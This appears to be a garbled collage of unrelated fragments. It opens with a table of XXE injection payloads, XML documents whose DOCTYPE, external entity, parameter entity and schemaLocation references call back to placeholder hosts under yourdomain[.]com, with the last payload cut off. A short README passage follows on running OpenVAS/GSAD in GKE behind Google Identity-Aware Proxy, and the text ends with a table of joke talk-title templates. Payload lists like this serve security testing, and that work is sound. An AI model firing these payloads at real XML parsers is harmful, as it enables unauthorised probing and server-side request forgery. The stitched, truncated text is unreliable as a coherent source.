| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x /> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x /> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y |
This is a way to expose a OpenVAS / GSAD running in a GKE cluster (Google Kubernetes Engine) to the public internet securely with Google Identity-Aware Proxy in front of it.
This will display the normal GSAD login screen after the Google authentication since the GSAD app code can not handle the Google user identity per default.
With this configuration the default data directory is stored on a persistent disk to make all OpenVAS scan/task/target/etc data persistent.
| 😒🙅🙄 | |
| $thing for fun and profit | |
| all your $thing are belong to $shutup | |
| honey I $verbed the $thing | |
| $thing demystified | |
| $thing: a deep dive | |
| $verb all the things | |
| make $thing great again | |
| $x and $y and $z, oh my! |
